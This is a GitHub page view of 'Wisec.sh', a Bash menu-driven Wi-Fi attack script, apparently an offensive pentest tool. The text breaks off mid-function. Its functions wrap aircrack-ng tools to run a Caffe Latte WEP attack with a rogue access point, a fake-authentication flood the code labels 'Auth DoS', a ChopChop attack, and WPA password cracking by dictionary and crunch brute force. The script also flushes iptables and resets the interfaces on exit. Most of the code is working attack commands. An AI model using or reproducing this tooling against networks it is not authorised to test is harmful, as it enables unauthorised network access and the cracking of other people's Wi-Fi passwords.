-
Notifications
You must be signed in to change notification settings - Fork 1
/
Wisec.sh
executable file
·1330 lines (850 loc) · 45.1 KB
/
Wisec.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
#Colours
greenColour="\e[0;32m\033[1m"
endColour="\033[0m\e[0m"
redColour="\e[0;31m\033[1m"
blueColour="\e[0;34m\033[1m"
yellowColour="\e[0;33m\033[1m"
purpleColour="\e[0;35m\033[1m"
turquoiseColour="\e[0;36m\033[1m"
grayColour="\e[0;37m\033[1m"
trap ctrl_c INT
I_monitor=0
################################################## Ctrl +C Options ##################################################
function ctrl_c(){
echo -ne "\n${redColour}[!]${endColour} ${grayColour}Exiting....\n${endColour}"
tput cnorm
echo -ne "${greenColour}\n Bye bye ...\n${endColour}"
airmon-ng stop iw_wisecmon > /dev/null 2&>1
ifconfig iw_wisec down
ip link set iw_wisec name $networkCard
ifconfig $networkCard up
clear
rm -r 1 iface.txt dnsmasq.conf hostapd.conf > /dev/null 2>&1
#clear iptables
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X
echo 0 > /proc/sys/net/ipv4/ip_forward
sleep 1.5;exit 0
}
################################################## Banners ##################################################
function wisec_banner(){
clear
echo -ne "${greenColour}██╗ ██╗██╗███████╗███████╗ ██████╗${endColour}\n"
echo -ne "${greenColour}██║ ██║██║██╔════╝██╔════╝██╔════╝${endColour}\n"
echo -ne "${greenColour}██║ █╗ ██║██║███████╗█████╗ ██║ ${endColour}\n"
echo -ne "${greenColour}██║███╗██║██║╚════██║██╔══╝ ██║ ${endColour}\n"
echo -ne "${greenColour}╚███╔███╔╝██║███████║███████╗╚██████╗${endColour}${grayColour} - by J4ckris${endColour}\n"
echo -ne "${greenColour} ╚══╝╚══╝ ╚═╝╚══════╝╚══════╝ ╚═════╝${endColour}\n"
}
function all_banners_menu(){
random_number=$(($RANDOM % 5 + 1))
if [ "$random_number" == "1" ];then
arts_1
elif [ "$random_number" == "2" ];then
arts_2
elif [ "$random_number" == "3" ];then
arts_3
elif [ "$random_number" == "4" ];then
arts_4
elif [ "$random_number" == "5" ];then
arts_5
fi
}
function arts_1(){
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡤⠐⠢⠀⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠉⠀⠀⠀⠱⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣮⣑⠡⡀⡀⠀⢀⡇⠀⠀⠀⠀${endColour}"
sleep 0.5
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣄⠈⣌⠪⡄⢰⢡⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣾⣀⠈⢂⠃⡈⠘⣄⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢘⣿⣷⣄⠤⢢⠁⡠⠂⠢⡀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠏⣸⡿⠟⣾⠓⠉⡖⠀⠀⠈⢂${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣆⡏⢸⠟⠀⣾⠀⠈⢡⡠⠂⠀⠈${endColour}"
echo -e "${blueColour}⠱⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡼⡀⡇⢈⠐⠠⡟⠀⠀⢞⡿⢅⠄⢀${endColour}"
echo -e "${blueColour}⠀⠹⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠜⠊⢛⡃⠘⠀⠀⡇⠀⡈⠶⠄⠒⠂⡔${endColour}"
sleep 0.5
echo -e "${blueColour}⠀⠀⠘⣿⣿⣿⣷⣄⣀⠀⠤⡠⡤⠒⠫⠱⠀⣼⠧⠀⠀⠀⢁⠠⢱⠤⠒⠒⣠⠇${endColour}"
echo -e "${blueColour}⠀⠀⠀⠘⢿⣿⣿⣿⣾⡷⡋⣞⠔⡣⠎⠙⠂⠘⠒⠲⡖⡒⠒⡶⢙⠀⠈⠉⣸⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠉⠻⣿⣿⡿⣿⣿⣯⠪⡖⠤⠤⠔⣀⣤⡃⠀⠀⡁⠀⣀⠄⠊⡜⠀${endColour}"
sleep 0.5
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⡌⠙⢿⣾⡫⠅⠂⠉⠀⠀⠁⠪⢁⠈⠉⠀⠀⣸⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠚⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠉⠀⠀${endColour}"
}
function arts_2(){
echo -e "${blueColour}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢛⣯⣝⣿⣿⣿⣿⣿⣿${endColour}"
echo -e "${blueColour}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢟⣶⣿⣿⣿⣎⣿⣿⣿⣿⣿${endColour}"
echo -e "${blueColour}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠑⠮⣞⢿⢿⣿⡿⢸⣿⣿⣿⣿${endColour}"
echo -e "${blueColour}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠻⣷⠳⣕⢻⡏⡞⣿⣿⣿⣿${endColour}"
echo -e "${blueColour}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⠁⠿⣷⡽⣼⢷⣧⠻⣿⣿⣿${endColour}"
sleep 0.5
echo -e "${blueColour}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡧⠀⠈⠻⣛⡝⣾⢟⣽⣝⢿⣿${endColour}"
echo -e "${blueColour}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⣰⠇⢀⣠⠁⣬⣶⢩⣿⣿⣷⡽${endColour}"
echo -e "${blueColour}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠹⢰⡇⣠⣿⠁⣿⣷⡞⢟⣽⣿⣷${endColour}"
echo -e "${blueColour}⣎⠙⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢃⢿⢸⡷⣯⣟⢠⣿⣿⡡⢀⡺⣻⡿${endColour}"
sleep 0.5
echo -e "${blueColour}⣿⣆⠀⠈⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣣⣵⡤⢼⣧⣿⣿⢸⣿⢷⣉⣻⣭⣽⢫${endColour}"
echo -e "${blueColour}⣿⣿⣧⠀⠀⠀⠈⠻⠿⣿⣛⢟⢛⣭⣔⣎⣿⠃⣘⣿⣿⣿⡾⣟⡎⣛⣭⣭⠟⣸${endColour}"
echo -e "${blueColour}⣿⣿⣿⣧⡀⠀⠀⠀⠁⢈⢴⠡⣫⢜⣱⣦⣽⣧⣭⣍⢩⢭⣭⢉⡦⣿⣷⣶⠇⣿${endColour}"
echo -e "${blueColour}⣿⣿⣿⣿⣿⣶⣄⠀⠀⢀⠀⠀⠐⣕⢩⣛⣛⣫⠿⠛⢼⣿⣿⢾⣿⠿⣻⣵⢣⣿${endColour}"
sleep 0.5
echo -e "${blueColour}⣿⣿⣿⣿⣿⣿⣿⣷⣤⡀⢳⣦⡀⠁⢔⣺⣽⣶⣿⣿⣾⣕⡾⣷⣶⣿⣿⠇⣿⣿${endColour}"
echo -e "${blueColour}⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣥⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣶⣿⣿${endColour}"
}
function arts_3(){
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⣀⡤⠔⠒⠊⠉⠉⠉⠉⠙⠒⠲⠤⣀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⣠⠔⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠲⣄⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⣠⠞⠁⠀⣀⠀⠀⠀⠀⢀⣀⡀⠀⢀⣀⠀⠀⠀⠀⢀⠀⠈⠱⣄⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⡴⠁⡠⣴⠟⠁⢀⠤⠂⡠⠊⡰⠁⠇⢃⠁⠊⠑⠠⡀⠀⢹⣶⢤⡈⢣⡀⠀${endColour}"
sleep 0.5
echo -e "${blueColour}⠀⡼⢡⣾⢓⡵⠃⡐⠁⠀⡜⠀⠐⠃⣖⣲⡄⠀⠀⠱⠀⠈⠢⠈⢮⣃⣷⢄⢳⠀${endColour}"
echo -e "${blueColour}⢰⠃⣿⡹⣫⠃⡌⠀⠄⠈⠀⠀⠀⠀⠀⠋⠀⠀⠀⠀⠣⠀⠀⠱⠈⣯⡻⣼⠈⡇${endColour}"
echo -e "${blueColour}⡞⢈⢿⡾⡃⠰⠀⠀⠀⠀⠀⠀⠀⠀⣘⣋⠀⠀⠀⠀⠀⠀⠀⠀⠇⢸⢿⣿⢠⢸${endColour}"
sleep 0.5
echo -e "${blueColour}⡇⢸⡜⣴⠃⠀⠀⠀⠀⠀⣀⣀⣤⡎⠹⡏⢹⣦⣀⣀⠀⠀⠀⠀⢈⠘⣧⢣⡟⢸${endColour}"
echo -e "${blueColour}⢧⢊⢳⡏⣤⠸⠀⠀⠀⢸⣿⣿⣿⡇⢰⡇⢠⣿⣿⣿⣷⠀⠀⠀⡆⢸⢹⡼⣱⢸${endColour}"
echo -e "${blueColour}⢸⡘⢷⣅⣿⢂⢃⠐⠂⣿⣿⣿⣿⣿⣼⣇⣾⣿⣿⣿⣿⠁⠂⡰⡠⣿⢨⡾⠃⡇${endColour}"
sleep 0.5
echo -e "${blueColour}⠀⢳⡱⣝⠻⡼⣆⡁⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠐⣰⣇⠿⣋⠝⡼⠀${endColour}"
echo -e "${blueColour}⠀⠀⢳⡈⢻⠶⣿⣞⢾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⢣⣿⡶⠟⢉⡼⠁⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠙⢦⡑⠲⠶⠾⠿⢟⣿⣿⣿⣿⣿⣿⣿⣿⡛⠿⠷⠶⠶⠊⡡⠋⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠙⠦⣝⠛⠛⠛⣿⣿⣿⣿⣿⣿⣿⣿⡛⠛⠛⣋⠴⠋⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠉⠒⠦⠿⣿⣿⣿⣿⣿⣿⠿⠧⠒⠋⠁⠀⠀⠀⠀⠀⠀⠀${endColour}"
}
function arts_4(){
echo -e "${blueColour}⣿⣿⣿⣿⣿⣿⣿⣿⠿⢛⣫⣭⣵⣶⣶⣶⣶⣦⣭⣍⣛⠿⣿⣿⣿⣿⣿⣿⣿⣿${endColour}"
echo -e "${blueColour}⣿⣿⣿⣿⣿⠟⣫⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣍⠻⣿⣿⣿⣿⣿${endColour}"
echo -e "${blueColour}⣿⣿⣿⠟⣡⣾⣿⠿⣿⣿⣿⣿⡿⠿⢿⣿⡿⠿⣿⣿⣿⣿⡿⣿⣷⣎⠻⣿⣿⣿${endColour}"
echo -e "${blueColour}⣿⣿⢋⣾⢟⠋⣠⣾⡿⣛⣽⢟⣵⢏⣾⣸⡼⣾⣵⣮⣟⢿⣿⡆⠉⡛⢷⡜⢿⣿${endColour}"
echo -e "${blueColour}⣿⢃⡞⠁⡬⢊⣼⢯⣾⣿⢣⣿⣯⣼⠩⠍⢻⣿⣿⣎⣿⣷⣝⣷⡑⠼⠈⡻⡌⣿${endColour}"
echo -e "${blueColour}⡏⣼⠀⢆⠔⣼⢳⣿⣻⣷⣿⣿⣿⣿⣿⣴⣿⣿⣿⣿⣜⣿⣿⣎⣷⠐⢄⠃⣷⢸${endColour}"
sleep 0.5
echo -e "${blueColour}⢡⡷⡀⢁⢼⣏⣿⣿⣿⣿⣿⣿⣿⣿⠧⠴⣿⣿⣿⣿⣿⣿⣿⣿⣸⡇⡀⠀⡟⡇${endColour}"
echo -e "${blueColour}⢸⡇⢣⠋⣼⣿⣿⣿⣿⣿⠿⠿⠛⢱⣆⢰⡆⠙⠿⠿⣿⣿⣿⣿⡷⣧⠘⡜⢠⡇${endColour}"
echo -e "${blueColour}⡘⡵⡌⢰⠛⣇⣿⣿⣿⡇⠀⠀⠀⢸⡏⢸⡟⠀⠀⠀⠈⣿⣿⣿⢹⡇⡆⢃⠎⡇${endColour}"
echo -e "${blueColour}⡇⢧⡈⠺⠀⡽⡼⣯⣽⠀⠀⠀⠀⠀⠃⠸⠁⠀⠀⠀⠀⣾⣽⢏⢟⠀⡗⢁⣼⢸${endColour}"
echo -e "${blueColour}⣿⡌⢎⠢⣄⢃⠹⢾⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣯⠏⠸⣀⠴⣢⢃⣿${endColour}"
sleep 0.5
echo -e "${blueColour}⣿⣿⡌⢷⡄⣉⠀⠡⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⡜⠀⢉⣠⡶⢃⣾⣿${endColour}"
echo -e "${blueColour}⣿⣿⣿⣦⡙⢮⣍⣉⣁⣀⡠⠀⠀⠀⠀⠀⠀⠀⠀⢤⣀⣈⣉⣉⣵⢞⣴⣿⣿⣿${endColour}"
echo -e "${blueColour}⣿⣿⣿⣿⣿⣦⣙⠢⣤⣤⣤⠀⠀⠀⠀⠀⠀⠀⠀⢤⣤⣤⠴⣋⣴⣿⣿⣿⣿⣿${endColour}"
echo -e "${blueColour}⣿⣿⣿⣿⣿⣿⣿⣿⣶⣭⣙⣀⠀⠀⠀⠀⠀⠀⣀⣘⣭⣴⣾⣿⣿⣿⣿⣿⣿⣿${endColour}"
}
function arts_5(){
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠤⠤⠤⠤⠤⢄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠁⠀⢀⣀⣀⠀⠠⠤⢀⡑⢦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠅⠒⠈⠉⠀⠀⠀⠀⢀⡀⠀⠘⡀⢣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
sleep 0.5
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⣇⢠⣤⣄⡀⠀⢀⣴⡾⠛⠛⠓⠀⢱⠸⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠋⠉⣩⠻⠖⡘⠛⣴⣶⣦⣤⠴⢄⣧⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠂⠾⠿⠿⠀⣾⡀⠉⠉⠁⠀⠀⠀⣿⠺⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⡆⠀⠀⠀⠀⢿⠇⢠⠠⠤⢠⡤⠂⢸⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
sleep 0.5
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡠⣖⣁⣻⣶⣾⣥⣤⣴⣿⡏⠀⡼⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢳⡻⡛⣉⣻⣿⡭⠄⢀⠞⠀⣴⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠑⣌⠀⠈⣿⡇⠀⠈⡠⠪⠏⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡔⠙⢷⡤⠻⠇⠤⠊⠀⠀⠀⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⣀⡠⡔⠁⢠⠀⠀⠙⠢⣀⠀⠀⠀⠀⣠⠇⢳⢄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀${endColour}"
sleep 0.5
echo -e "${blueColour}⠀⢀⡀⠤⠀⠒⠊⠉⠀⠀⡇⠀⠘⡄⠀⠀⠀⠈⠑⢢⡤⢼⡁⠀⢸⠀⠉⢶⠠⢀⡀⠀⠀⠀⠀⠀${endColour}"
echo -e "${blueColour}⡎⠁⠀⠀⠀⠀⠀⠀⠀⠀⡿⠀⠀⢻⢦⠀⠀⠀⡴⠋⠀⠀⠙⡄⢸⡆⠀⠈⡄⠀⠈⠉⠐⠢⡄⠀${endColour}"
echo -e "${blueColour}⠁⠀⠀⠀⠀⠀⠀⠀⠀⠠⠃⠀⠀⠈⡄⠑⣄⡞⢆⠀⠀⢀⠜⠙⠊⢱⠀⠀⠘⡄⠀⠀⠀⠀⠘⡄${endColour}"
echo -e "${blueColour}⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⠄⠀⠀⣧⠀⠈⠀⢰⠋⠁⠘⣄⠀⠀⠸⡄⠀⠠⠃⠀⠀⠀⠀⠀⢳${endColour}"
echo -e "${blueColour}⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠒⠐⠀⠂⠒⠐⠒⠀⠀⠂⠒⠒⠒⠒⠐⠂⠒⠀⠒⠂⠀⠀⠀${endColour}"
}
################################################## Caffe Latte ##################################################
function CaffeLatte(){
clear
all_banners_menu
xterm -hold -e "airodump-ng iw_wisecmon" &
xterm_airodump_PID=$!
echo -ne "\n${blueColour}[*] Set the name of the AP: ${endColour}" && read AP_name
echo -ne "\n${blueColour}[*] Set the BSSID of the AP: ${endColour}" && read AP_BSSID
echo -ne "\n${blueColour}[*] Set the Channel of the AP: ${endColour}" && read Channel
kill -9 $xterm_airodump_PID
wait $airodump_xterm_PID 2>/dev/null
xterm -hold -e "airodump-ng -c $Channel -w $AP_name --essid $AP_name iw_wisecmon" &
airodump_filter_xterm_PID=$!
xterm -hold -e "airbase-ng -c $Channel -a $AP_BSSID -e '$AP_name' -L -W 1 -x 100 iw_wisecmon" &
xterm_airbase_PID=$!
echo -ne "${blueColour}[*]${endColour} ${grayColour}The attack has been started, just wait 5 minutes${endColour}"
sleep 300; kill -9 $airodump_filter_xterm_PID;wait $airodump_filter_xterm_PID 2>/dev/null
kill -9 $xterm_airbase_PID; wait $xterm_airbase_PID 2>/dev/null
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Starting aircrack-ng ${endColour}\n"
mkdir Captures 2>/dev/null
mv $AP_name*.cap Captures/$AP_name-wep-caffelatte.cap 2>/dev/null
xterm -hold -e "aircrack-ng -e '$AP_name' Captures/$AP_name-wep-caffelatte.cap " & disown
echo -ne "\n${blueColour}[*]${endColour}{grayColour} Aircrack-ng has been started${endColour}\n"
sleep 10
menu
}
################################################## Auth DoS ##################################################
function authentication_attack(){
clear
xterm -hold -e "airodump-ng iw_wisecmon" &
airodump_xterm_PID=$!
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Access Point Name: ${endColour}" && read APessid
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Access Point Channel: ${endColour}" && read Channel
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Access Point BSSID: ${endColour}" && read AP_BSSID
kill -9 $airodump_xterm_PID
wait $airodump_xterm_PID 2>/dev/null
sleep 10; xterm -hold -e "aireplay-ng -1 0 -e ${APessid} -e '$APessid' -a '$AP_BSSID' -h '$Current_mac' iw_wisecmon" &
clear
menu
}
################################################## ChopChop attack ##################################################
function ChopChop_attack(){
xterm -hold -e "airodump-ng iw_wisecmon" &
airodump_xterm_PID=$!
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Access Point Name: ${endColour}" && read APSSID
kill -9 $airodump_xterm_PID
wait $airodump_xterm_PID 2>/dev/null
mkdir Captures 2>/dev/null
pushd Captures > /dev/null 2>&1
xterm -hold -e "aireplay-ng -4 -e '$APSSID' -h '$Current_mac' iw_wisecmon" &
echo -ne "\n${blueColour}[*]${endColour}${grayColour} ChopChop attack has been started, files will be in the Captures directory${endColour}"
sleep 10
clear
menu
}
################################################## Password Cracking Funcs ##################################################
function cracking_pass(){
## Option yes/no
while true; do
echo -ne "${blueColour}[*]${endColour}${grayColour} Do you want to start the cracking process [ y/n ]: ${endColour}"
read yn
case $yn in
[yY] ) echo -ne "\n";
break;;
[nN] ) echo -ne "\n";
menu;;
*) echo -ne "\n";;
esac
done
## Cracking Using Crunch
while true;do
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Do you want yo start a brute-force attack using crunch [ y/n ]:${endColour} "
read yn
case $yn in
[yY] ) echo -ne "\n";
crunch_options;break;;
[nN] ) echo -ne "\n";
break;;
*) echo -ne "\n";;
esac
done
## Dictionary
while true; do
echo -ne "\n${blueColour}[*]${endColour}${grayColour} Do you want yo start a dictionary attack [ y/n ]:${endColour} \n"
read yn
case $yn in
[yY] ) dictionary_attack_pass;;
[nN] ) echo -ne "\n";
menu;;
* ) echo -ne "";;
esac
done
clear
}
function password_cracking_options(){
opc=0
while [[ $inpu1 -ne 3 ]]; do
clear
all_banners_menu
echo -ne "\n${blueColour}[*]${endColour} ${grayColour}Choose a way to crack your hash:${endColour}\n"
echo -ne "\n${blueColour}[1]${endColour} ${grayColour}Wordlist${endColour}\n"
echo -ne "${blueColour}[2]${endColour} ${grayColour}Brute-Force${endColour}\n"
echo -ne "${blueColour}[3]${endColour} ${grayColour}Back${endColour} \n"
echo -ne "\n${yellowColour}[>]${endColour}${grayColour}Choose an option > ${endColour}" && read opc
case $opc in
1) clear;dictionary_attack_pass;;
2) clear;crunch_options;;
3) clear;menu;;
*) echo -ne "${redColour}[!]${endColour} $opc Invalid Option\n"
;;
esac
done
}
function password_cracking_options(){
opc=0
while [[ $opc -ne 3 ]]; do
clear
all_banners_menu
echo -ne "${blueColour}[*]${endColor}${grayColour}Choose a way to crack you hash: ${endColour}"
echo -ne "\n${blueColour}[1]${endColour} ${grayColour}Wordlist${endColour}\n"
echo -ne "${blueColour}[2]${endColour} ${grayColour}Brute-Force${endColour}\n"
echo -ne "${blueColour}[3]${endColour} ${grayColour}Back${endColour} \n"
echo -ne "${blueColour}[3]${endColour} ${grayColour}Choose an option > ${endColour}" && read opc
case $opc in
1) clear;dictionary_attack_pass;;
2) clear;crunch_options;;
3) clear;menu;;
*) echo -ne "${redColour}[!]${endColour} $opc Invalid Option\n"
;;
esac
done
}
function dictionary_attack_pass(){
clear
file_path_wpa="None"
selected_dictionary="None"
while [ $(test -f "$file_path"; echo $?) -ne 0 ] && [ $(test -f "$selected_dictionary"; echo $?) != 0 ];do
clear
all_banners_menu
echo -e "${blueColour}[*]${endColour} ${grayColour}Pass the full path of your capture(WPA) file ${endColour}${blueColourColour}(${endColour}${grayColour}Example: /home/kali/wpa_capture${endColour}${blueColour})${endColour}" && read file_path_wpa
echo -e "\n${blueColour}[*]${endColour}${grayColour} Pass the full path of the dictionary to use: ${endColour}" && read selected_dictionary
done
xterm -hold -e "aircrack-ng -w $selected_dictionary $file_path_wpa" & disown ;menu
}
function crunch_options(){
echo -ne "${blueColour}[*]${endColour}${grayColour}Pass the full path of the file to crack${endColour}${blueColour} (${endColour}${grayColour}Example: /home/kali/capture.cap${endColour}${blueColour})${endColour} : "
read file_to_crack
echo -ne "${greyColour}Minimum lenght${endColour}${blueColour} (${endColour}${grayColour}8-63${endColour}${blueColour})${endColour}: "
read minimum_lenght
